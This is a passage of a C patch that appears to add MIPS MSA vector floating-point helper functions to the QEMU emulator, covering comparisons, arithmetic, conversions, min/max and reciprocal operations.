compare_af(env, pwd, pws, pwt, df, 1); +} + +void helper_msa_fcun_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_un(env, pwd, pws, pwt, df, 1); +} + +void helper_msa_fceq_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_eq(env, pwd, pws, pwt, df, 1); +} + +void helper_msa_fcueq_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_ueq(env, pwd, pws, pwt, df, 1); +} + +void helper_msa_fclt_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_lt(env, pwd, pws, pwt, df, 1); +} + +void helper_msa_fcult_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_ult(env, pwd, pws, pwt, df, 1); +} + +void helper_msa_fcle_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_le(env, pwd, pws, pwt, df, 1); +} + +void helper_msa_fcule_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_ule(env, pwd, pws, pwt, df, 1); +} + +void helper_msa_fsaf_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_af(env, pwd, pws, pwt, df, 0); +} + +void helper_msa_fsun_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_un(env, pwd, pws, pwt, df, 0); +} + +void helper_msa_fseq_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_eq(env, pwd, pws, pwt, df, 0); +} + +void helper_msa_fsueq_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_ueq(env, pwd, pws, pwt, df, 0); +} + +void helper_msa_fslt_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_lt(env, pwd, pws, pwt, df, 0); +} + +void helper_msa_fsult_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_ult(env, pwd, pws, pwt, df, 0); +} + +void helper_msa_fsle_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_le(env, pwd, pws, pwt, df, 0); +} + +void helper_msa_fsule_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_ule(env, pwd, pws, pwt, df, 0); +} + +void helper_msa_fcor_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_or(env, pwd, pws, pwt, df, 1); +} + +void helper_msa_fcune_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_une(env, pwd, pws, pwt, df, 1); +} + +void helper_msa_fcne_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_ne(env, pwd, pws, pwt, df, 1); +} + +void helper_msa_fsor_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_or(env, pwd, pws, pwt, df, 0); +} + +void helper_msa_fsune_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_une(env, pwd, pws, pwt, df, 0); +} + +void helper_msa_fsne_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + compare_ne(env, pwd, pws, pwt, df, 0); +} + +#define float16_is_zero(ARG) 0 +#define float16_is_zero_or_denormal(ARG) 0 + +#define IS_DENORMAL(ARG, BITS) \ + (!float ## BITS ## _is_zero(ARG) \ + && float ## BITS ## _is_zero_or_denormal(ARG)) + +#define MSA_FLOAT_BINOP(DEST, OP, ARG1, ARG2, BITS) \ + do { \ + int c; \ + \ + set_float_exception_flags(0, &env->active_tc.msa_fp_status); \ + DEST = float ## BITS ## _ ## OP(ARG1, ARG2, \ + &env->active_tc.msa_fp_status); \ + c = update_msacsr(env, 0, IS_DENORMAL(DEST, BITS)); \ + \ + if (get_enabled_exceptions(env, c)) { \ + DEST = ((FLOAT_SNAN ## BITS >> 6) << 6) | c; \ + } \ + } while (0) + +void helper_msa_fadd_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_BINOP(pwx->w[i], add, pws->w[i], pwt->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_BINOP(pwx->d[i], add, pws->d[i], pwt->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + msa_move_v(pwd, pwx); +} + +void helper_msa_fsub_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_BINOP(pwx->w[i], sub, pws->w[i], pwt->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_BINOP(pwx->d[i], sub, pws->d[i], pwt->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + msa_move_v(pwd, pwx); +} + +void helper_msa_fmul_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_BINOP(pwx->w[i], mul, pws->w[i], pwt->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_BINOP(pwx->d[i], mul, pws->d[i], pwt->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_fdiv_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_BINOP(pwx->w[i], div, pws->w[i], pwt->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_BINOP(pwx->d[i], div, pws->d[i], pwt->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +#define MSA_FLOAT_MULADD(DEST, ARG1, ARG2, ARG3, NEGATE, BITS) \ + do { \ + int c; \ + \ + set_float_exception_flags(0, &env->active_tc.msa_fp_status); \ + DEST = float ## BITS ## _muladd(ARG2, ARG3, ARG1, NEGATE, \ + &env->active_tc.msa_fp_status); \ + c = update_msacsr(env, 0, IS_DENORMAL(DEST, BITS)); \ + \ + if (get_enabled_exceptions(env, c)) { \ + DEST = ((FLOAT_SNAN ## BITS >> 6) << 6) | c; \ + } \ + } while (0) + +void helper_msa_fmadd_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_MULADD(pwx->w[i], pwd->w[i], + pws->w[i], pwt->w[i], 0, 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_MULADD(pwx->d[i], pwd->d[i], + pws->d[i], pwt->d[i], 0, 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_fmsub_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_MULADD(pwx->w[i], pwd->w[i], + pws->w[i], pwt->w[i], + float_muladd_negate_product, 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_MULADD(pwx->d[i], pwd->d[i], + pws->d[i], pwt->d[i], + float_muladd_negate_product, 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_fexp2_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_BINOP(pwx->w[i], scalbn, pws->w[i], + pwt->w[i] > 0x200 ? 0x200 : + pwt->w[i] < -0x200 ? -0x200 : pwt->w[i], + 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_BINOP(pwx->d[i], scalbn, pws->d[i], + pwt->d[i] > 0x1000 ? 0x1000 : + pwt->d[i] < -0x1000 ? -0x1000 : pwt->d[i], + 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +#define MSA_FLOAT_UNOP(DEST, OP, ARG, BITS) \ + do { \ + int c; \ + \ + set_float_exception_flags(0, &env->active_tc.msa_fp_status); \ + DEST = float ## BITS ## _ ## OP(ARG, &env->active_tc.msa_fp_status);\ + c = update_msacsr(env, 0, IS_DENORMAL(DEST, BITS)); \ + \ + if (get_enabled_exceptions(env, c)) { \ + DEST = ((FLOAT_SNAN ## BITS >> 6) << 6) | c; \ + } \ + } while (0) + +void helper_msa_fexdo_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + uint32_t i; + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + /* Half precision floats come in two formats: standard + IEEE and "ARM" format. The latter gains extra exponent + range by omitting the NaN/Inf encodings. */ + flag ieee = 1; + + MSA_FLOAT_BINOP(Lh(pwx, i), from_float32, pws->w[i], ieee, 16); + MSA_FLOAT_BINOP(Rh(pwx, i), from_float32, pwt->w[i], ieee, 16); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP(Lw(pwx, i), from_float64, pws->d[i], 32); + MSA_FLOAT_UNOP(Rw(pwx, i), from_float64, pwt->d[i], 32); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + msa_move_v(pwd, pwx); +} + +#define MSA_FLOAT_UNOP_XD(DEST, OP, ARG, BITS, XBITS) \ + do { \ + int c; \ + \ + set_float_exception_flags(0, &env->active_tc.msa_fp_status); \ + DEST = float ## BITS ## _ ## OP(ARG, &env->active_tc.msa_fp_status);\ + c = update_msacsr(env, CLEAR_FS_UNDERFLOW, 0); \ + \ + if (get_enabled_exceptions(env, c)) { \ + DEST = ((FLOAT_SNAN ## XBITS >> 6) << 6) | c; \ + } \ + } while (0) + +void helper_msa_ftq_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_UNOP_XD(Lh(pwx, i), to_q16, pws->w[i], 32, 16); + MSA_FLOAT_UNOP_XD(Rh(pwx, i), to_q16, pwt->w[i], 32, 16); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP_XD(Lw(pwx, i), to_q32, pws->d[i], 64, 32); + MSA_FLOAT_UNOP_XD(Rw(pwx, i), to_q32, pwt->d[i], 64, 32); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +#define NUMBER_QNAN_PAIR(ARG1, ARG2, BITS) \ + !float ## BITS ## _is_any_nan(ARG1) \ + && float ## BITS ## _is_quiet_nan(ARG2) + +#define MSA_FLOAT_MAXOP(DEST, OP, ARG1, ARG2, BITS) \ + do { \ + int c; \ + \ + set_float_exception_flags(0, &env->active_tc.msa_fp_status); \ + DEST = float ## BITS ## _ ## OP(ARG1, ARG2, \ + &env->active_tc.msa_fp_status); \ + c = update_msacsr(env, 0, 0); \ + \ + if (get_enabled_exceptions(env, c)) { \ + DEST = ((FLOAT_SNAN ## BITS >> 6) << 6) | c; \ + } \ + } while (0) + +#define FMAXMIN_A(F, G, X, _S, _T, BITS) \ + do { \ + uint## BITS ##_t S = _S, T = _T; \ + uint## BITS ##_t as, at, xs, xt, xd; \ + if (NUMBER_QNAN_PAIR(S, T, BITS)) { \ + T = S; \ + } \ + else if (NUMBER_QNAN_PAIR(T, S, BITS)) { \ + S = T; \ + } \ + as = float## BITS ##_abs(S); \ + at = float## BITS ##_abs(T); \ + MSA_FLOAT_MAXOP(xs, F, S, T, BITS); \ + MSA_FLOAT_MAXOP(xt, G, S, T, BITS); \ + MSA_FLOAT_MAXOP(xd, F, as, at, BITS); \ + X = (as == at || xd == float## BITS ##_abs(xs)) ? xs : xt; \ + } while (0) + +void helper_msa_fmin_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + if (NUMBER_QNAN_PAIR(pws->w[i], pwt->w[i], 32)) { + MSA_FLOAT_MAXOP(pwx->w[i], min, pws->w[i], pws->w[i], 32); + } else if (NUMBER_QNAN_PAIR(pwt->w[i], pws->w[i], 32)) { + MSA_FLOAT_MAXOP(pwx->w[i], min, pwt->w[i], pwt->w[i], 32); + } else { + MSA_FLOAT_MAXOP(pwx->w[i], min, pws->w[i], pwt->w[i], 32); + } + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + if (NUMBER_QNAN_PAIR(pws->d[i], pwt->d[i], 64)) { + MSA_FLOAT_MAXOP(pwx->d[i], min, pws->d[i], pws->d[i], 64); + } else if (NUMBER_QNAN_PAIR(pwt->d[i], pws->d[i], 64)) { + MSA_FLOAT_MAXOP(pwx->d[i], min, pwt->d[i], pwt->d[i], 64); + } else { + MSA_FLOAT_MAXOP(pwx->d[i], min, pws->d[i], pwt->d[i], 64); + } + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_fmin_a_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + FMAXMIN_A(min, max, pwx->w[i], pws->w[i], pwt->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + FMAXMIN_A(min, max, pwx->d[i], pws->d[i], pwt->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_fmax_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + if (NUMBER_QNAN_PAIR(pws->w[i], pwt->w[i], 32)) { + MSA_FLOAT_MAXOP(pwx->w[i], max, pws->w[i], pws->w[i], 32); + } else if (NUMBER_QNAN_PAIR(pwt->w[i], pws->w[i], 32)) { + MSA_FLOAT_MAXOP(pwx->w[i], max, pwt->w[i], pwt->w[i], 32); + } else { + MSA_FLOAT_MAXOP(pwx->w[i], max, pws->w[i], pwt->w[i], 32); + } + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + if (NUMBER_QNAN_PAIR(pws->d[i], pwt->d[i], 64)) { + MSA_FLOAT_MAXOP(pwx->d[i], max, pws->d[i], pws->d[i], 64); + } else if (NUMBER_QNAN_PAIR(pwt->d[i], pws->d[i], 64)) { + MSA_FLOAT_MAXOP(pwx->d[i], max, pwt->d[i], pwt->d[i], 64); + } else { + MSA_FLOAT_MAXOP(pwx->d[i], max, pws->d[i], pwt->d[i], 64); + } + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_fmax_a_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws, uint32_t wt) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + wr_t *pwt = &(env->active_fpu.fpr[wt].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + FMAXMIN_A(max, min, pwx->w[i], pws->w[i], pwt->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + FMAXMIN_A(max, min, pwx->d[i], pws->d[i], pwt->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_fclass_df(CPUMIPSState *env, uint32_t df, + uint32_t wd, uint32_t ws) +{ + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + if (df == DF_WORD) { + pwd->w[0] = helper_float_class_s(pws->w[0]); + pwd->w[1] = helper_float_class_s(pws->w[1]); + pwd->w[2] = helper_float_class_s(pws->w[2]); + pwd->w[3] = helper_float_class_s(pws->w[3]); + } else { + pwd->d[0] = helper_float_class_d(pws->d[0]); + pwd->d[1] = helper_float_class_d(pws->d[1]); + } +} + +#define MSA_FLOAT_UNOP0(DEST, OP, ARG, BITS) \ + do { \ + int c; \ + \ + set_float_exception_flags(0, &env->active_tc.msa_fp_status); \ + DEST = float ## BITS ## _ ## OP(ARG, &env->active_tc.msa_fp_status);\ + c = update_msacsr(env, CLEAR_FS_UNDERFLOW, 0); \ + \ + if (get_enabled_exceptions(env, c)) { \ + DEST = ((FLOAT_SNAN ## BITS >> 6) << 6) | c; \ + } else if (float ## BITS ## _is_any_nan(ARG)) { \ + DEST = 0; \ + } \ + } while (0) + +void helper_msa_ftrunc_s_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_UNOP0(pwx->w[i], to_int32_round_to_zero, pws->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP0(pwx->d[i], to_int64_round_to_zero, pws->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_ftrunc_u_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_UNOP0(pwx->w[i], to_uint32_round_to_zero, pws->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP0(pwx->d[i], to_uint64_round_to_zero, pws->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_fsqrt_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_UNOP(pwx->w[i], sqrt, pws->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP(pwx->d[i], sqrt, pws->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +#define MSA_FLOAT_RECIPROCAL(DEST, ARG, BITS) \ + do { \ + int c; \ + \ + set_float_exception_flags(0, &env->active_tc.msa_fp_status); \ + DEST = float ## BITS ## _ ## div(FLOAT_ONE ## BITS, ARG, \ + &env->active_tc.msa_fp_status); \ + c = update_msacsr(env, float ## BITS ## _is_infinity(ARG) || \ + float ## BITS ## _is_quiet_nan(DEST) ? \ + 0 : RECIPROCAL_INEXACT, \ + IS_DENORMAL(DEST, BITS)); \ + \ + if (get_enabled_exceptions(env, c)) { \ + DEST = ((FLOAT_SNAN ## BITS >> 6) << 6) | c; \ + } \ + } while (0) + +void helper_msa_frsqrt_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_RECIPROCAL(pwx->w[i], float32_sqrt(pws->w[i], + &env->active_tc.msa_fp_status), 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_RECIPROCAL(pwx->d[i], float64_sqrt(pws->d[i], + &env->active_tc.msa_fp_status), 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_frcp_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_RECIPROCAL(pwx->w[i], pws->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_RECIPROCAL(pwx->d[i], pws->d[i], 64); + } + break; + default: 